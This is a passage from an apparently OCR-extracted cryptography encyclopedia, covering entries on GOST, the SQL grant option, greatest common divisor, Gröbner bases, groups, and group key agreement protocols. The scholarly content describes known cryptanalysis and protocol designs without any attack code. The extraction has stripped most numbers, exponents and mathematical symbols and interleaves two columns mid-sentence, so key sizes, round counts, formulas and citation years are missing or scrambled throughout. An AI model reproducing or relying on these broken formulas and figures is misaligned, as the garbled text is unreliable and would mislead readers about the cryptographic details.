. Goldwasser S, Micali S () Probabilistic encryption. J Comp Example The sequence of period is an R-
Syst Sci : sequence. It is also an R- sequence since the out-of-phase
GOST G
autocorrelation is equal to . However, the sequence is not The GOST encryption algorithm is a very simple -
an R- sequence since there are two blocks of length but round Feistel cipher. It encrypts data in blocks of bits
only one gap of length . and uses a -bit secret key. The -bit F-function used in
the Feistel construction consists of three transformations.
Example The sequence of period is an
First, a -bit subkey is mixed with the data using an addi-
R- sequence with a constant out-of-phase autocorrelation
tion modulo . The result is then split into -bit segments,
being , but the sequence violates the R- and R- conditions.
fed in parallel to eight -bit S-boxes. Finally, the out-
Example The sequence of period is an R- and put values are merged again and rotated over bits. The
R- sequence but not an R- sequence. key schedule (Block Cipher) of GOST is also particularly
simple: the -bit secret key is divided into eight -bit
The three randomness postulates are inspired by the
words and directly used as subkeys in rounds , , and
properties obeyed by maximal-length linear sequences
. The same eight subkeys are reused one more time in
(m-sequences). Also, they can be interpreted as proper-
rounds , but in reverse order Fig. .
ties of flipping a perfect coin. R- says that heads and tails
A remarkable property of the GOST standard is that
occur about equally often, R- says that after a run of n
the eight S-boxes are left unspecified. The content of
heads (tails) there is a probability / that the run will end
these lookup tables is considered to be a secondary long-
G
with the next coin-flip. R- is the notion of independent
term secret key, common to a network of computers, and
trials. Knowing the outcome of a previous coin-flip gives
selected by some central authority. The set of S-boxes can
no information of the current coin-flip.
be strong or weak, depending on the authoritys intention.
Any sequence obeying both R- and R- can be shown
The S-boxes can even be hidden in an encryption chip,
to have a value of the out-of-phase autocorrelation being
thus keeping them secret to the users of the device. As
and therefore the period must be odd. Sequences which
explained in a short note by Saarinen [], recovering the
obey the randomness postulates of Golomb are sometimes
secret S-boxes would not be very hard, however. If a user is
also called pseudo-noise sequences (PN-sequences).
allowed to select the -bit key of the cipher, he can eas-
For the extension of the Golombs randomness postu-
ily mount a chosen key attack and efficiently derive the
lates to nonbinary sequences, see [].
secret contents of the lookup tables.
The best attacks on GOST exploit the simplicity of
Recommended Reading its key schedule. The first attack in open literature is a
related key attack by Kelsey et al. []. Biryukov and
Aegean Park Press, Laguna Hills, Wagner [] have shown that the cipher is vulnerable to
for wireless communication, cryptography, and radar. Cambridge
University Press, Cambridge
32 bits 32 bits
S1
GOST Ki S2
S3
Christophe De Cannire
Department of Electrical Engineering, Katholieke S4
32 bits ROL 32 bits
Universiteit Leuven, Leuven-Heverlee, Belgium S5 11
S6
Related Concepts S7
Block Ciphers; Feistel Cipher
S8
GOST is an encryption algorithm adopted as a stan-
dard by the former Soviet Union in []. The specifica-
tions, translated from Russian in , describe a DES-like
-bits block cipher (Data Encryption Standard) and
specify four modes of operation. GOST. Fig. One round of GOST
G Grant Option
slide attacks. Their cryptanalysis breaks rounds out of option for the privilege (and not the privilege itself) is
, but also reveals weak key classes for the full cipher. revoked [].
Finally, Seki and Kaneko [] have applied differential
cryptanalysis to reduced-round versions of GOST. Com- Recommended Reading
bined with a related-key approach, the attack breaks . De Capitani di Vimercati S, Samarati P, Jajodia S () Database
rounds. security. In Marciniak J (ed) Wiley encyclopedia of software
engineering. Wiley, New York
Recommended Reading Policies, models, and mechanisms. In Focardi R, Gorrieri R (eds)
. Biryukov A, Wagner D () Advanced slide attacks. In: Pre- Foundations of Security Analysis and Design. LNCS, vol .
neel B (ed) Advances in cryptology EUROCRYPT . Lecture Springer, Berlin
notes in computer science, vol . Springer, Berlin, pp . Database Language SQL () ISO International Standard,
. Kelsey J, Schneier B, Wagner D () Key-schedule cryptanalysis ISO/IEC :
of IDEA, G-DES, GOST, SAFER, and Triple-DES. In: Koblitz N
(ed) Advances in cryptology CRYPTO . Lecture notes in
. Saarinen M-J () A chosen key attack against the secret
S-boxes of GOST (unpublished) Greatest Common Divisor
. Seki H, Kaneko T () Differential cryptanalysis of reduced
rounds of GOST. In: Stinson DR, Tavares SE (eds) Selected areas Scott Contini
in cryptography, SAC . Lecture notes in computer science,
Silverbrook Research, New South Wales, Australia
. Zabotin IA, Glazkov GP, Isaeva VB () Cryptographic pro-
tection for information processing systems: cryptographic trans-
Synonyms
formation algorithm. Technical Report, Government Standard of
the USSR, GOST (trans: Malchik A, with editorial and
GCD; Greatest common factor
typographic assistance of Diffie W)
Related Concepts
Euclidean Algorithm; Least Common Multiple;
Number Theory; Relatively Prime
Grant Option Definition
The greatest common divisor (gcd) of a set of positive inte-
Sabrina De Capitani di Vimercati, gers {a , . . . , ak } is the largest integer that divides every
Giovanni Livraga element of the set. This is denoted gcd(a , . . . , ak ) or some-
times just (a , . . . , ak ).
Background
Approximately in BC, the Greek mathematician Euclid
Related Concepts described a method for computing the greatest common
Privileges in SQL; SQL Access Control Model
divisor in Book of Elements. Known as the Euclidean
algorithm, it is based upon the fact that the greatest com-
Definition mon divisor of two integers is preserved under subtraction.
The grant option in SQL states that a subject (authorization
identifier) receiving a privilege has the additional authority Theory
to grant such a privilege to others. An important property of the greatest common divisor is
that it can always be written as an integer linear combina-
Theory tion of the elements of the set. In other words, there exist
The GRANT and REVOKE commands used for manag- integers x , . . . , xk such that ki= ai xi = gcd(a , . . . , ak ).
ing privileges in SQL (SQL access control model) For example, gcd(, ) = because divides both
can include the WITH GRANT OPTION and GRANT and , and no integer larger than divides both of
OPTION FOR clauses, respectively. If WITH GRANT these values. A linear combination that represents the gcd
OPTION is specified in a GRANT command, the recipient is given by x = and x = since () + = .
of the privilege can grant it to others. If GRANT OPTION For the case of k = , the extended Euclidean algo-
FOR is specified in a REVOKE command, only the grant rithm can be used to efficiently find the integer linear
Group G
combination. If the gcd is , then the integers are said

to be relatively prime. The greatest common divisor is Group
related to the least common multiple (lcm) by the relation
gcd(a , a ) lcm(a , a ) = a a . Burt Kaliski
MA, USA
Greatest Common Factor

Related Concepts
Greatest Common Divisor Field; Generator; Order; Subgroup
Definition
Grbner Basis A group is a set of elements with a certain well-defined
mathematical structure under a group operation.
David Naccache G
Dpartement dinformatique, Groupe de cryptographie, Theory
cole normale suprieure, Paris, France A group G = (S, ) is defined by a set of elements S
and a group operation that satisfy the following group
axioms:
Synonyms
Standard basis Closure: For all x, y S, x y S.
Associativity: For all x, y, z S, (x y) z = x (y z).
Related Concepts Identity: There exists an identity element, denoted I,
Multi-variate Cryptography such that for all x S, x I = I x = x.
Inverse: For all x S, there exists an inverse y such that
Definition x y = y x = I.
A Grbner (or a standard) basis G is a particular kind of A group is commutative (also called Abelian) if the group
generating subset of an ideal I in a polynomial ring R. operation does not depend on the ordering of the ele-
A Grbner basis can be seen as a multivariate, nonlinear ments, i.e., if for all x, y S, x y = y x. A group is cyclic
generalization of the Euclidean algorithm for computa- if it has a single generator, i.e., an element g such that
tion of univariate GCDs or as a generalization of Gaussian every element of the group can be obtained by repeated
elimination. composition with g and its inverse, starting with the iden-
A Grbner basis G is characterized by the fact that tity element. The order of a group G, denoted #G, is the
any multivariate division of any p I by G gives . Here, number of elements in G.
division is understood as being relative to some mono- Groups commonly employed in cryptography include
mial order (the obtained basis depends on the monomial the following:
ordering chosen).
Grbner bases always exist and can be effectively A multiplicative group modulo a prime, where S con-
obtained for any I starting with a generating sub- sists of the set of integers (i.e., residue classes) modulo a
set. The best-known algorithm for computing Grbner prime p, excluding , and the group operation is multi-
bases is Buchbergers algorithm. Grbner bases are use- plication. This group is typically denoted by Zp , where
ful in cryptanalysis, mostly for attacking multivariate Zp denotes the integers modulo p, and denotes that
cryptosystems. the group operation is multiplication and is excluded.
The order of Zp is p .
Open Problems (This group is the same as the multiplicative group of the
Find more efficient algorithms to compute Grbner bases. finite field Fp .)
Recommended Reading A subgroup of a multiplicative group modulo a

. Buchberger B, Winkler F (eds) () Grbner bases and appli-
prime, i.e., a subset of elements in Zp that is
cations. London mathematical society lecture note series . closed under multiplication. Typically, the subgroup
Cambridge University Press. Cambridge is selected so that its order is a prime number. For
G Group Key Agreement
instance, the Digital Signature Algorithm (Digital

Signature Standard) operates in a subgroup of order q Group Key Agreement
of Zp , where p and q are large primes and q divides
p . Mike Burmester
A subgroup of the multiplicative group of an extension Department of Computer Science, Florida State
field Fqd . University, Tallahassee, FL, USA
A subgroup of an elliptic curve group. If the elliptic
curve group has a prime order, then the subgroup is the Synonyms
same as the elliptic curve group. Conference key agreement; Conference keying; Group key
All these examples are cyclic and commutative. An elliptic distribution; Group key exchange
curve group itself may be noncyclic, but the subgroup of
interest itself is typically cyclic.
A group is formally denoted by both the set and the Related Concepts
group operation, i.e., (S, ), but in cryptography, some- Entity Authentication; Key Agreement; Public-Key
times only the set S is denoted and the group operation Encryption Scheme
is implied. In cryptography, the group operation is typi-
cally either denoted by multiplication or addition. In the
Definition
Group Key Agreement (GKA) is an extension of two-party
former case, repeated application of the group operation
key agreement to groups of n parties: it allows a group
is denoted by exponentiation (e.g., g a ); in the latter, it is
consisting of several parties to establish a common session
denoted by scalar multiplication (e.g., aP where P is the
key (Key) or conference key over an unprotected network.
group element).
Background
Applications Ingemarsson, Tang, and Wong presented in the
Groups are primarily associated with public-key cryptog- first GKA protocol [] based on the two-party Diffie
raphy, but they also have some applications to symmetric Hellman key agreement protocol []. This was followed
cryptosystems. For instance, several researchers investi- by the GKA protocols of Koyama and Ohta [], Blundo
gated whether the set of keys in the Data Encryption et al. [], and Burmester and Desmedt []. Since then a
Standard forms a group [, ], which could significantly large number of research papers on GKA and on securing
weaken the standard; the set of keys does not. GKA protocols have been presented due mainly to the dis-
Braid groups are a notable example of a noncommuta- tributed and dynamic nature of GKA and to the security
tive group in public-key cryptography [, , ]. challenges that have to be resolved see e.g., [, , , ,
, , , , ], and the tripartite DiffieHelman key
agreement protocol []. Most of these protocols combine
Recommended Reading aspects of the DiffieHellman key agreement with other
. Anshel I, Anshel M, Goldfeld D () An algebraic cryptographic primitives to support security.
method for public-key cryptography. Math Res Lett Some of these protocols are briefly described in the fol-
:
. Campbell KW, Wiener MJ () DES is not a group. In:
lowing, starting with protocols for small groups that are
Brickell EF (ed) Advances in cryptology CRYPTO. Lec- secure against passive attacks. Authenticated GKA is then
ture notes in computer science, vol . Springer, Berlin, considered, followed by a discussion on insider attacks and
pp provable security. Finally, GKA for large groups is consid-
. Kaliski Jr BS, Rivest RL, Sherman AT () Is the data encryption ered. To start with, the basic requirements for GKA are
standard a group? J Cryptol :
. Ko KH, Lee SJ, Cheon JH, Han JW, Kang J-S, Park C ()
reviewed.
New public-key cryptosystem using braid groups. In: Bel-
lare M (ed) Advances in cryptology CRYPTO . Lec- Requirements
ture notes in computer science, vol . Springer, Berlin, Given the openness of most networking systems, it is
pp important that key agreement is achieved efficiently and
. Lee E, Je HP () Cryptanalysis of the public-key encryption
securely. Other requirements include, scalability, freshness
based on braid groups. In: Biham E (ed) Advances in cryptology
EUROCRYPT . Lecture notes in computer science, vol . of session keys, forward secrecy, rekeying and, of course,
Springer, Berlin, pp reliability.
Group Key Agreement G
Efficiency: The efficiency of a GKA protocol is measured The parameters of the group G are selected by a Trusted
in terms of its computational complexity (usually the Center (Trusted Third Party); k is the security parameter.
number of modular exponentiations), its communication To start with, assume that the number of parties n involved
complexity (the number of communicated messages), and in key agreement is small. That is, n << q (n = poly(k)).
its round complexity (the number of rounds of communi- The protocols described below will involve random selec-
cation exchanges). The complexity of a multiparty protocol tions of elements from G. The notation x R X is used to
involving n parties is scalable if it is bounded by O(log n) indicate that x is selected at random (independently) from
(O-notation). Scalability is particularly important when the set X with uniform distribution.
the number of parties in the group is large.
. A basic centralized GKA protocol []. Let U =
Security: Security involves both the privacy of session {U , U , . . . , Un }, n << q, be a group of n parties. A des-
keys and authentication. Privacy (key secrecySecrecy) ignated member of U called the chair, say U , selects the
requires that in a passive attack it is hard to distinguish the session key sk R G.
session key from a random key. Passive attacks are eaves- Round . The chair exchanges a key Ki G with every party
dropping attacks in which the adversary has access only Ui U /U by using the DiffieHellman key agreement
to traffic communicated in public. There is a stronger ver- protocol.
G
sion of privacy that requires that it is hard to compute the
session key in a passive attack. Freshness of session keys Round . The chair sends to each party Ui U /U the
is required to prevent known-key attacks (Related Key number: Xi = sk/Ki G.
Attack) in which the adversary succeeds in getting hold Key Computation. Each party Ui U /U computes the key:
of session keys by analyzing large amounts of communi- sk = Xi Ki .
cation traffic encrypted with the same group key, or by
non-cryptographic means. Session keys must therefore be Security and efficiency. Clearly one has forward secrecy:
regularly updated. the session keys sk are independent (randomly selected
in G). Privacy reduces to the DiffieHellman prob-
Forward secrecy: A compromised session key should only lem. More specifically, distinguishing the session key from
affect its session, not jeopardize earlier sessions. a random key in a passive attack (key secrecy), is as
hard as the Decisional DiffieHellman problem; com-
Rekeying: Groups are dynamic, with new parties joining
puting the session key is as hard as the Computational
the group or current members leaving the group. When-
DiffieHellman problem. The complexity of this protocol
ever a new group is formed, a new session key must be
is unbalanced: whereas the chair has to exchange Diffie
agreed: otherwise information regarding previous sessions
Hellman keys Ki with each one of the (other) parties of
(or future sessions) will become available to those joining
the group and then send the Xi s, the other parties need
(or leaving) the group. only exchange a DiffieHellman key with the chair. It is
Reliability: The communication channels are reliable (guar- possible [] to share the burden evenly among the par-
antee delivery). ties by arranging the group in a graph tree, with root the
chair, and then exchange DiffieHellman keys only along
root-to-leaf paths. In this case, all members of the group
Private Group Key Agreement for Small
(including the chair) exchange a DiffieHellman key with
Groups
adjacent nodes in the tree (their parent and children). Then
GKA protocols that are secure against passive attacks
the per-user complexity is shared evenly; however, there
(eavesdropping) are first considered. These typically
is now a time delay which is proportional to the height
involve a group G = g generated by an element g whose
of the tree []. The per-user complexity of the tree-based
order is a k-bit prime q. The group could be a subgroup of
protocol is O(log n).
the multiplicative group Zm (which consists of all positive
integers less than m and relative prime to m), the group of . The IngemarssonTangWong GKA protocol [, , ].
an elliptic curve (Elliptic Curves) or, more generally, any Let U = {U , U , . . . , Un } be the group of parties arranged
finite group whose operation can be efficiently computed logically in a cycle. Here the n-th order protocol is
and for which one can establish membership and select presented (lower order protocols, and in particular the
random elements efficiently. For convenience the elements second-order protocol, are vulnerable to passive attacks
of G are called numbers. in which the attacker eavesdrops on all communication
channels []). This uses subsets Xi G, i = , , . . . , n The complexity of this protocol is O(log n). There is a time
defined as follows. Select r , r , . . . , rn R Zq . Define X = delay for the n + steps, and the computation of the sets Xi
{x, = g, x, = g r }, and recursively Xi = {xi, = requires on average n/ exponentiations.
(xi, )ri , . . . , xi,i = (xi,i )ri , xi,i = xi,i , xi,i =
(xi,i )ri }, for < i n . Finally Xn = {xn, = . The BurmesterDesmedt GKA protocol []. The group
(xn, )rn , . . . , xn,i = (xn,n )rn , xn,n = xn,n }. of parties U = (U , U , . . . , Un ) is arranged logically in a
These sets, for the case when n = , are illustrated in Fig. . cycle. The protocol uses a broadcast channel (this could be
The protocol has two phases: up-flow and down-flow. In the replaced by (n ) point-to-point channels), and exploits the
up-flow phase each party Ui , i n , sends to the distributivity of the DiffieHellman operator: DH(A, B
next party Ui+ in the cycle the set Xi . In the down-flow C) = DH(A, B) DH(A, C).
phase, the last party Un broadcasts Xn . The session key is There are two rounds. In the first round, each party Ui
sk = g x x xn G. More specifically: U broadcasts a random number zi = g ri G. In the second
Phase round, Ui broadcasts the number Xi = (zi+ /zi )ri G.
For i = to n The session key is, sk = g r r +r r ++rn r G. More
Ui sends to Ui+ : Xi G, where the exponent ri R Zq is specifically:
selected by Ui .
Round . Each party Ui U selects an exponent ri R Zq
Phase and broadcasts: zi = g ri G.
Un broadcasts: Xn G, where the exponent rn R Zq is
selected by Un . Round . Each party Ui U broadcasts Xi = (zi+ /zi )ri
G, where the indexes are taken in a cycle.
Key Computation. Each party Ui U computes the key:
Key Computation. Each party Ui U computes the session
ski = (g x x xi xi+ xn )xi = g x x xn = sk,
key:
where g x x xi xi+ xn is obtained from Xn . ski = (zi )nri Xin Xi+
n
Xi G.
Remark If all parties adhere to the protocol then
each will compute the same key. This protocol exploits Remark If all parties adhere to the protocol then each
the transitivity of the DiffieHellman operator: party will compute the same key: sk = g r r +r r ++rn r .
DH(A, DH(B, C)) = DH(DH(A, B), C), for A, B, C G, Indeed, let Ai = (zi )ri = g ri ri , Ai = (zi )ri Xi = g ri ri+ ,
where DH(g a , g b ) = g ab . Ai+ = (zi )ri Xi Xi+ = g ri+ ri+ , and so on. Then
ski = Ai Ai Ai+ Ai = sk.
Security and efficiency. As in the previous protocol one has
In the special case when there are only two parties, one
forward secrecy. Privacy is reduced to the Group Decisional
has X = X = and sk = g r r +r r = g r r . This is essentially
DiffieHellman (G-DDH) assumption, which is described
the DiffieHellman key agreement (in this case there is
below.
no need to broadcast X , X ).
G-DDH Assumption. Let: G = g be a group of order a
k-bit prime q, n = poly(k), In = {, , . . . , n}, In be Security and efficiency. As in the previous protocol one
the powerset of In and In /In . Given the set: has forward secrecy. Privacy is reduced to the Deci-
sional DiffieHellman problem [] (computing the ses-
x n
(J, g jJ j ), where (x , . . . , xn ) R (Zq ) , sion key, in a passive attack, is as hard as the Computational
J
DiffieHellman problem []). The complexity per-user
it is hard to distinguish the key g x x xn from a ran- is O() (constant). This is roughly double the complex-
dom number in G. ity of the two-party DiffieHellman protocol: there are
two (broadcast) rounds, three exponentiations, and a few
multiplications.
X1 g gr1
Re-keying. Because of it efficiency, to re-key one just needs
X2 gr2 gr1 gr1r2
to re-run the protocol.
X3 gr2r3 gr1r3 gr1r2 gr1r2r3
X4 gr2r3r4 gr1r3r4 gr1r2r4 gr1r2r3 Variants. By arranging the connectivity of group U in dif-
ferent ways to route messages, e.g.,in a star, a cycle, or a tree,
Group Key Agreement. Fig. The sets Xi for a group with four one gets several GKA variants which can be used to meet
members specific requirements [, ].
Authenticated Group Key Agreement, the broadcast messages, each instance iU stores U
Provable Security and t = t tn as part of its state information.
Active adversaries (Active Attack) control the communica- . The parties in group U now execute protocol P with the
tion in the network and may impersonate the parties of a following changes:
group and/or modify their messages. Authenticated GKA Whenever instance iU has to broadcast U jm
protects against such attacks. First consider the case when in protocol P, instead the instance broadcasts
the adversaries are outsiders, and the parties of the group U jm, where is the signature of party U on
are not corrupted (adhere to the GKA protocol). Bres- jmU t with the key SKU .
son, Chevassut, Pointcheval, and Quisquater introduced in Whenever instance iU receives message V jm
a security model for GKA that addresses active (out- it checks that: (i) party V U and message m is
sider) adversary attacks the BCPQ model []. This model valid (for the protocols described earlier this means
extends the Random Oracle model of Bellare and Rog- that zi , Xi G, or xij G); (ii) j is the next expected
away [, ] to multiple parties. The BCPQ model has been sequence number for V, and (iii) is a valid sig-
used extensively for proving the security of GKA protocols. nature of V on jmU t . If any of these fails, iU
Examples are the protocols presented in [, ]. aborts the protocol.
Katz and Yung describe [] a compiler C which trans-
G
Compiler C can thus be used to convert any GKA protocol
forms any GKA protocol P that is secure against passive
that is secure against a passive adversary into a GKA pro-
attacks into a protocol P = C(P) that is secure against
tocol that is secure against active adversaries in the BCPQ
active (outsider) adversaries. The compiler adds only one
model [].
communication round to protocol P and authenticates
(Authentication) all communication traffic. Security is in
the BCPQ model. In this model, each party U is allowed to Authenticated Group Key Agreement:
execute the protocol P many times with several groups of Robustness Against Insider Attacks
partners (and to interleave the rounds of the executions). Desmedt et al. presented an Authenticated GKE proto-
Each such execution of P is called an instance. The i-th col [] that is robust against two types of malicious insider
instance executed by U is denoted by iU . attacks:
The following assumptions regarding the inputs P to
. DoS attacks in which insiders send bad messages to
the compiler C are made: (a) P is a GKA protocol that is
cause an honest party to abort, or to cause two honest
secure against passive attacks (key secrecy); (b) each mes-
parties to compute different session keys
sage sent by instance iU includes the identity of the sender
. Malleability attacks in which insiders send bad mes-
U and a sequence number j which starts at and is incre-
sages to bias the probability distribution of the session
mented by each time iU sends a new message m (i.e., iU
key, or force it to have some desired value
sends U jm, the concatenation of U, j and m); (c) all mes-
sages are broadcast to the entire group U taking part in the In their threat model, Desmedt et al. assume that the
execution of P. communication channels are reliable and that no more
It is easy to see that any GKA protocol P can readily be than half of the protocol parties are corrupted. Katz and
converted to a protocol P that satisfies these three assump- Shin [] assume a more general adversarial model in
tions for compiler C. Moreover if P is secure against passive which the adversary has full control of the communication
attacks then P will also be. Finally, the round complexity of channels (communication is not reliable), and propose
P is the same as that of P. a compiler that transforms a secure Authenticated GKE
The compiler C uses a digital signature scheme that is protocol (with no insiders) into an Authenticated GKE
secure against adaptive chosen message attacks. Let P be protocol that is secure in the UC framework [] against
the set of potential users of protocol P. Each party U P adversaries that include insiders. Bresson-Manulis [, ]
should have a public/secret signature key pair (PKU , SKU ). extend this model to capture key control and contributive-
Given protocol P, the compiler now constructs protocol ness (guaranteeing key confirmation).
P = C(P) as follows: To conclude, the case when the number of parties n in
the group G is large is considered.
. Let U = U , . . . , Un be a group of parties that wish to
establish a session key and let U = U Un (con- Group Key Agreement for Large Groups
catenation). Each party Ui selects a random nonce ti Many emerging applications such as teleconferencing,
{, }k and broadcasts Ui ti , where is the (initial) pay-per-view, and real-time information systems, are
sequence number for this message. After receiving all based on a group communication model in which data is
broadcast to large dynamically evolving groups. Securing

such communication is particularly challenging because of
the requirement for frequent rekeying as a result of mem- X
bers leaving the group or new members joining the group.
Several GKA protocols for large groups have been pro- X
posed in the literature see e.g., [, , , ], and
also [, ]. These are centralized algorithms that offer X
scalable solutions to the group key management prob- U
lem and employ appropriate key graphs that securely dis-
Group Key Agreement. Fig. An OFT tree: party U possesses
tribute rekeying information after members leave or join
the keys of the black nodes and the blinded keys of their
the group. Following a protocol that employs a key graph
siblings
tree for scalable rekeying is briefly described.
(). The McGrewSherman One-way Function Tree (OFT)

Protocol []. Let k be the security parameter and n the the new values encrypted in such a way that only the
number of potential users of the system. Assume n >> k entitled members can decrypt them. For the member V
(n is superpolynomial in k). A trusted manager is respon- associated with the sibling v of u, the manager encrypts
sible for the selection and management of all the symmetric the new leaf key knew v with the old key of V and broad-
user-keys (symmetric cryptography), as well as the main- casts Ekoldv
[k new
v ], where E is a symmetric encryption func-
tenance of user-key relation. Each party U of the group G tion [] (Symmetric Cryptography). For each of the
is given a set of keys XU {,} , which includes the group
k
internal nodes x on the path from u to the root, only the

session key. The sets XU are constructed in a special way by new blinded values (knew x ) = g (kx ) are needed (mem-
new
using a one-way function [] g : {, }k {, }k and a bers store one leaf key and the blinded keys of the siblings
pseudo-random function [] f : {, }k {, }k .
of the nodes on their paths to the root). Observe that

Structure of the OFT tree. This is a binary tree main- group members that possess the old blinded value (kold x )
tained by the manager. Nodes are assigned keys as follows. know the unblinded key value ks of the sibling s of x. The
First, each leaf u of the tree is assigned a random key manager therefore only needs to broadcast the encryption

ku R {, }k . Then starting from the bottom of the tree Eks [(knew
x ) ].
each internal node x is assigned a key which is computed When a new member V joins the group, an existing
by using the rule: leaf node u is split: the member U associated with u is now
associated with left(u) and the new member V is associ-
kx = f (g(kleft(x) ), g(kright(x) )), () ated with right(u). Members U, V are given keys knew u =
kleft(u) , knew
v = kright(u) , respectively, selected at random
where left(x) is the left child of x and right(x) is the right from {, }k . All the keys of the internal nodes x along the
child of x. The key kroot of the root is the group session key. path from u to the root are then assigned new values knew x
Each party U who wishes to join the group is issued using rule (). The new value knew u and the blinded values

with a set of keys XU which consists of the key ku of a leaf u of the new keys (knew x ) are then encrypted with the appro-
and all the blinded node keys kx = g(kx ) that are siblings priate keys and broadcast as in the previous case. The key
to nodes on its path to the root. From these keys, U can knew
v is given privately to V.
compute all the node keys on its path to the root by using Security and efficiency. The security of the OFT
rule (). An illustration is given in Fig. . protocol reduces to that of the one-way function g, the
Removing or adding members. Whenever a member U pseudo-random function f , and the symmetric encryp-
associated with leaf u is to be removed, the key ku of U is tion function E. One has forward and backward security
invalidated and the group member V associated with the (Group Signature): members who leave the group can-
sibling of u is assigned to the parent of u and given a new not read future messages and parties who join the group
leaf key knew
v which is selected at random from {, }k by cannot read previous messages.
the manager. All internal node keys along the path of this The communication complexity of adding or remov-
node to the root are then assigned new values using rule (). ing a member is bounded by hk + h bits, where h is the
The new key values must be communicated securely to height of the tree and k the length of the keys. This is
all the members of the group who store the correspond- because up to h keys must be broadcast, and h bits are
ing old values. For this purpose the manager broadcasts needed to describe the member that joins or leaves the
group. If the tree is balanced then the operation of adding . Bresson E, Chevassut O, Pointcheval D () Group Diffie-
or removing a member with the OFT protocol is scalable Hellman key exchange under standard assumptions. In: Euro-
crypt , Amsterdam, The Netherlands. LNCS , Springer,
(with complexity O(log n)).
Berlin, pp
. Bresson E, Chevassut O, Pointcheval D () Group Diffie-
Hellman Key Exchange secure against dictionary attacks.
Applications of GKA In: Asiacrypt , Queenstown, New Zealand. LNCS ,
Many computer applications involve dynamic peer groups. Springer, Berlin, pp
Examples include audio/video conferencing, multiuser . Burmester M, Desmedt Y () A secure and scalable
computations, multicast messaging, pay-per-view, dis- group key exchange system. Inform Process Lett ():
tributed interactive simulations, real-time information
. Burmester M, Desmedt Y () A secure and efficient confer-
systems, replication services and, generally, distributed
ence key distribution system. In: Eurocrypt , Perugia, Italy.
applications. To protect such applications, and in particu- LNCS , Springer, Berlin pp (Proofs are in: Pre-
lar to preserve privacy, one has to employ secure commu- proceedings of Eurocrypt : Scuola Superiore Guglielmo Reiss
nication channels (Secure Channel) that link all the parties Romoli (SSGRR), Perugia, Italy, May , pp )
of a group. For privacy, one can establish such channels by . Burmester M, Desmedt Y () Efficient and secure conference
using symmetric encryption (Symmetric Cryptosystem,
key distribution. In: Security protocols, international workshop,
Cambridge, UK. LNCS , Springer, Berlin, pp
G
private key cryptosystem) with key, a group session key. . Canetti R, Krawczyk H () Universally composable notions
of key exchange and secure channels. In: Eurocrypt , Ams-
terdam, The Netherlands. http://eprint.iacr.org//
Recommended Reading . Desmedt Y, Pieprzyk J, Steinfeld R, Wang H () A non-
. Abdalla M, Bresson E, Chevassut O, Pointcheval D () malleable group key exchange protocol robust against active
Password-based group key exchange in a constant number of insiders. In: ISC , Samos Island, Greece. LNCS ,
rounds. In: PKC , New York. LNCS , Springer, Berlin, Springer, Berlin, pp
pp . Diffie W, Hellman ME () New directions in cryptography.
. Balenson DM, McGrew DA, Sherman AT () Key manage- IEEE Trans Inform Theory IT():
ment for large dynamic groups: one-way function trees and . Ingemarsson I, Tang DT Wong CK () A conference
amortized initialization. Advanced Sec Res J NAI Labs (): key distribution system. IEEE Trans Inform Theory ():

. Bellare M, Rogaway P () Entity authentication and key dis- . Joux A () A one round protocol for tripartite Diffie-
tribution. In: Crypto , Santa Barbara, CA. LNCS , Springer, Hellman. J Cryptol ():
Berlin, pp . Katz J, Sun Shin J () Modeling insider attacks on group
. Bellare M, Rogaway P () Provably secure session key dis- key exchange protocols. In: CCS , Alexandria, VA. ACM,
tribution: the three party case. In: STOC , Las Vegas, NV. New York, pp
ACM, New York, pp . Katz J, Yung M () Authenticated group key exchange in con-
. Bellare M, Pointcheval D, Rogaway P () Authenticated key stant rounds. In: Crypto , Santa Barbara, CA. LNCS ,
exchange secure against dictionary attacks. In: Eurocrypt , Springer, New York, pp
Bruges, Belgium. LNCS , Springer, Berlin, pp . Koyama K, Ohta K () Identity-based conference key distri-
. Blundo C, De Santis A, Herzberg A, Kutten S, Vaccaro U, Yung M bution systems. In: Crypto , Santa Barbara, CA. LNCS ,
() Perfectly-secure key distribution for dynamic confer- Springer, Berlin, pp
ences. In: Crypto , Santa Barbara, CA. LNCS , Springer, . Menezes A, van Oorschot P, Vanstone AA () Handbook of
Berlin, pp applied cryptography. CRC Press, Boca Raton, FL
. Boyd C, Nieto JMG () Round-optimal contributory con- . Mittra S () Iolus: a framework for scalable secure multicast-
ference key agreement. In: PKC , Miami, FL. LNCS , ing. In: Proceedings of the ACM SIGCOMM , Cannes, France.
Springer, Berlin, pp ACM, New York, pp
. Bresson E, Chevassut O, Pointcheval D () Provably authen- . Perrig A, Song D, Tygar J () ELK, a new protocol for efficient
ticated group Diffie-Hellman key exchange the dynamic case. large-group key distribution. In: Proceedings, IEEE Security
In: Asiacrypt , Gold Coast, Australia. LNCS , Springer, and Privacy Symposium, Oakland, California. IEEE Computer
Berlin, pp Society Press, Washington, DC
. Bresson E Manulis M () Malicious participants in group . Setia S, Koussih S, Jajodia S () Kronos: a scalable group
key exchange: key control and contributiveness in the shadow re-keying approach for secure multicast. In: IEEE Symposium
of trust. In: ATC , Hong Kong, China. LNCS , Springer, on Security and Privacy, , IEEE Computer Society Press,
Berlin, pp Washington, DC, pp
. Bresson E, Manulis M () Securing Group Key Exchange . Sherman AT, McGrew DA () Key establishment in large
against strong corruptions. In: ASIACCS , Tokyo. ACM, dynamic groups using one-way function trees. IEEE Trans Soft-
New York, pp ware Eng ():
. Bresson E, Chevassut O, Pointcheval D, Quisquater J-J () . Steiner M, Tsudik G, Waidner M () Diffie-Hellman key dis-
Provably authenticated group Diffie-Hellman key exchange. In: tribution extended to group communication. In: CCS , New
CCS , Philadelphia, PA. ACM, New York, pp Delhi, ACM, New York, pp
G Group Key Distribution
. Steiner M, Tsudik G, Waidner M () CLIQUES: a new []. The term group signatures or group-oriented signa-
approach to group key agreement. In: ICDCS , Amsterdam, tures is sometimes also used for another type of signa-
the Netherlands
ture scheme where signers also form groups such that, for
. Steiner M, Tsudik G, Waidner M () Key agreement
in dynamic peer groups. IEEE Trans Parallel Distribut Syst
example, any t-out-of-n members of a group can together
(): produce a signature. In this case, the capability of produc-
. Wallner DM, Harder EJ, Agee RC () Key management ing signatures is granted only to large enough coalitions
for multicast: issues and architectures, Internet Engineer- within a group. This was first introduced by Boyd as mul-
ing Task Force, July ftp://ftp.ietf.org/internet- drafts/
tisignatures, but according to Desmedt [], there is growing
draft-wallner-key-arch-.txt.
. Wong CK, Gouda M, Lam SS () Secure group communi-
consensus to call them threshold signatures.
cations using key graphs. In: Proceedings of SIGCOMM ,
Vancouver, ACM, pp Theory
A group signature scheme has the following operations:
. An operation for generating pairs of a private signing
Group Key Distribution key and a public verifying key for an individual
